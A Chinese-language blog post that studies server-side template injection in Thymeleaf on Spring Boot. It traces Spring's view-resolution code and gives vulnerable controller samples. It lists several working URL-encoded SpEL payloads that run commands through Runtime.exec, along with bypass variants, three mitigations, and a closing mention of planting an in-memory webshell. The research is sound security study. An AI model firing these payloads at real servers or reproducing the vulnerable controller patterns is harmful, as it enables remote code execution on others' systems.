文章首发:https://www.anquanke.com/post/id/254519
最近看了一遍Thymeleaf,借此机会学习一下Thymeleaf的SSTI,调试的过程中发现了很多有意思的点,也学习到了一些payload的构造姿势,简单码个文章记录一下。
Thymeleaf是SpringBoot中的一个模版引擎,个人认为有点类似于Python中的Jinja2,负责渲染前端页面。
之前写JavaWeb和SSM的时候,前端页面可能会用JSP写,但是因为之前项目都是war包部署,而SpringBoot都是jar包且内嵌tomcat,所以是不支持解析jsp文件的。但是如果是编写纯静态的html就很不方便,那么这时候就需要一个模版引擎类似于Jinja2可以通过表达式帮我们把动态的变量渲染到前端页面,我们只需要写一个template即可。这也就是到了SpringBoot为什么官方推荐要使用Thymeleaf处理前端页面了。
Thymeleaf中的表达式有好几种
${...}
*{...}
#{...}
@{...}
~{...}
而这次遇到的是片段表达式(FragmentExpression): ~{...}
,片段表达式可以用于引用公共的目标片段比如footer或者header
比如在/WEB-INF/templates/footer.html
定义一个片段,名为copy。<div th:fragment="copy">
<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <body> <div th:fragment="copy"> © 2011 The Good Thymes Virtual Grocery </div> </body> </html>
在另一template中引用该片段<div th:insert="~{footer :: copy}"></div>
<body> ... <div th:insert="~{footer :: copy}"></div> </body>
片段表达式语法:
/WEB-INF/templates/
目录下寻找名为templatename
的模版中定义的fragment
,如上面的~{footer :: copy}
templatename
模版文件作为fragment
selector
的fragmnt
其中selector
可以是通过th:fragment
定义的片段,也可以是类选择器、ID选择器等。
当~{}
片段表达式中出现::
,则::
后需要有值,也就是selector
。
语法:__${expression}__
官方文档对其的解释:
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如
__${expression}__
)包围。
个人感觉这是出现SSTI最关键的一个地方,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行
前面也提到了是DispatcherServlet拦截请求并分发到Handler处理,那下断点直接定位到DispatcherServlet#doDispatch方法(所有的request和response都会经过该方法)。
首先获取到了Handler,之后进入doDispatch方法的实现,这里重点注意下下面3个方法
1、ha.handle() ,获取ModelAndView也就是Controller中的return值
2、applyDefaultViewName(),对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值
3、processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理
首先跟进mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal,继续跟进
跳到invokeHandlerMethod方法。这里就是使用Handler处理request并获取ModelAndView了,继续跟进
在/org/springframework/web/servlet/mvc/method/annotation/RequestMappingHandlerAdapter.class直接跟进到invokeAndHandle方法
这里通过invokeForRequest函数,根据用户输入的url,调用相关的controller,并将其返回值returnValue
,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户。
重点是returnValue
值是否为null
,根据Controller写法不同会导致returnValue
的值存在null
和非null
的情况。
上面Controller中return的字符串并根据前缀和后缀拼接起来,在templates目录下寻找模版文件
例如下面的Thymeleaf默认配置类文件+Controller,Thymeleaf就会去找/templates/index.html
默认配置类文件org/springframework/boot/autoconfigure/thymeleaf/ThymeleafProperties.java
@ConfigurationProperties(prefix = "spring.thymeleaf") public class ThymeleafProperties { private static final Charset DEFAULT_ENCODING = StandardCharsets.UTF_8; public static final String DEFAULT_PREFIX = "classpath:/templates/"; public static final String DEFAULT_SUFFIX = ".html"; /** * Whether to check that the template exists before rendering it. */ private boolean checkTemplate = true; /** * Whether to check that the templates location exists. */ private boolean checkTemplateLocation = true; /** * Prefix that gets prepended to view names when building a URL. */ private String prefix = DEFAULT_PREFIX; /** * Suffix that gets appended to view names when building a URL. */ private String suffix = DEFAULT_SUFFIX; /** * Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum. */ private String mode = "HTML"; /** * Template files encoding. */ private Charset encoding = DEFAULT_ENCODING;
Controller
@Controller public class IndexController { @RequestMapping("/index") public String test1(Model model){ model.addAttribute("msg","Hello,Thymeleaf"); return "index"; } }
上面这种是returnValue不为null的情况。那如果Controller如下写的话,returnValue的值就会为null
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
如果ModelAndView值不为null则什么也不做,否则如果defaultViewName
存在值则会给ModelAndView赋值为defaultViewName,也就是将URI path作为视图名称(具体逻辑会在后面讲)
获取到ModelAndView
值后会进入到processDispatchResult
方法,第1个if会被跳过,跟进第2个if中的render方法
在render
方法中,首先会获取mv对象的viewName
,然后调用resolveViewName
方法,resolveViewName
方法最终会获取最匹配的视图解析器。
跟一下resolveViewName
方法,这里涉及到两个方法:1、首先通过getCandidateViews
筛选出resolveViewName
方法返回值不为null的视图解析器添加到candidateViews
中; 2、之后通过getBestView
拿到最适配的解析器,getBestView中的逻辑是优先返回在candidateViews
存在重定向动作的view
,如果都不存在则根据请求头中的Accept
字段的值与candidateViews
的相关顺序,并判断是否兼容来返回最适配的View
getCandidateViews:
getBestView:
最终返回的是ThymeleafView
之后ThymeleafView
调用了render
方法,继续跟进
调用renderFragment
这里是漏洞触发的关键点之一,该方法在后面首先判断viewTemplateName
是否包含::
,若包含则获取解析器,调用parseExpression
方法将viewTemplateName
(也就是Controller中最后return的值)构造成片段表达式(~{}
)并解析执行,跟进parseExpression
方法。
在org/thymeleaf/standard/expression/StandardExpressionParser.class中继续调用parseExpression
最终在org/thymeleaf/standard/expression/StandardExpressionParser对我们表达式进行解析,首先在preprocess
方法对表达式进行预处理(这里只要表达式正确就已经执行了我们payload中的命令)并把结果存入preprocessedInput
,可以看到此时预处理就已经执行了命令,之后再次调用parse
对预处理的结果preprocessedInput
进行第二次解析,而第二次解析时,需要语法正确也就是在Thymeleaf中,~{}
中::
需要有值才可以获得回显,否则没有回显。
在org/thymeleaf/standard/expression/StandardExpressionPreprocessor#preprocess方法中,首先通过正则,将__xxxx__
中间xxxx部分提取出来,调用execute执行
跟进execute最终调用org/thymeleaf/standard/expression/VariableExpression#executeVariableExpression使用SpEL执行表达式,触发任意代码执行。
首先常见的一个payload就是lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
,通过__${}__::.x
构造表达式会由Thymeleaf去执行
Payload:lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
,这里因为最后return的值为user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome
,无论我们payload如何构造最后都会拼接/welcome
所以即使不加.x
依然可以触发命令执行
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
Contorller :可控点变为了selector位置
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
payload
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x
其实这里也可以不需要.x
和::
也可触发命令执行
poc:
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20Calculator").getInputStream()).next()%7d__
关于回显问题:在0x01与0x02payload注入点不同会导致有无回显,也可以说是controller代码给予我们的可控参数不同,
0x01中可控的是templatename,而0x02中可控的是selector,而这两个地方的注入在最后抛出异常的时候找不到templatename是存在结果回显的而找不到selector不存在结果回显。
Controller
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
payload
因为mav返回值为空,所以viewTemplateName会从uri中获取,直接在{document}
位置传入payload即可
http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x
这里其实和0x01类似,templatename部分可控,没回显的原因在于defaultView中对URI path的处理,我们可以在最后加两个.
poc
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..
需要注意的是::
必须放在后面,放在前面虽然可以执行命令,但是没有回显。
在0x03中payload最后是必须要.x
,看一下为什么,之前在applyDefaultViewName
部分有提到defaultViewName
这个值,因为mav返回值为空,所以viewTemplateName会从uri中获取,我们看下是如何处理defaultViewName
的,调试之后发现在getViewName
方法中调用transformPath
对URL中的path
进行了处理
重点在于第3个if中stripFilenameExtension
方法
/org/springframework/util/StringUtils#stripFilenameExtension该方法会对后缀做一个清除
如果我们传入的payload没有.x
的话,例如http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::
最后会被处理成/doc/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a calculator").getInputStream())
从而没有了::
无法进入预处理导致无法执行任意代码。
所以这里即使是在最后只加个.
也是可以的,不一定必须是.x
这里列举几个比较新奇的思路,反射之类的就不列举了,改一下表达式中的代码即可。
::
位置除了上面利用.
替换.x
以外(ModelAndView为null,从URI中获取viewname)在0x01中::
的位置也不是固定的,这个看之前的代码逻辑即可知晓,比如可以替换成下面的poc,将::
放在最前面:
::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__
这个是在turn1tup师傅的文章中get的
POST /path HTTP/1.1 Host: localhost:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 135 lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__
__
当Controller如下配置时,可以省略__
包裹
@RequestMapping("/path") public String path2(@RequestParam String lang) { return lang; //template path is tainted }
poc,也不局限于用${}
,用*{}
也是可以的
GET /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x HTTP/1.1 Host: localhost:8090
关于这种方式可以参考:https://xz.aliyun.com/t/9826#toc-4
0x01 配置 @ResponseBody
或者 @RestController
这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。
@GetMapping("/safe/fragment") @ResponseBody public String safeFragment(@RequestParam String section) { return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name }
0x02 在返回值前面加上 "redirect:"
这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
@GetMapping("/safe/redirect") public String redirect(@RequestParam String url) { return "redirect:" + url; //FP as redirects are not resolved as expressions }
0x03 在方法参数中加上 HttpServletResponse 参数
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。
@GetMapping("/safe/doc/{document}") public void getDocument(@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); //FP }
关于这个漏洞的话调试下来感觉很巧妙,有很多值得深入挖掘的点,但是个人感觉Thymeleaf平常更多的使用姿势还是在于将变量渲染到前端页面而不是类似于输入模版名称去动态返回模版文件,可能实战遇到的并不会很多吧。再有就是在审计的时候有没有一些可以快速定位到该缺陷的方法,待研究。如果真的遇到了,也没必要过于纠结回显,可以直接打内存马。
https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/
https://xz.aliyun.com/t/9826#toc-4
http://x2y.pw/2020/11/15/Thymeleaf-模板漏洞分析/
https://github.com/veracode-research/spring-view-manipulation/
https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html
https://paper.seebug.org/1332/
https://www.freebuf.com/articles/network/250026.html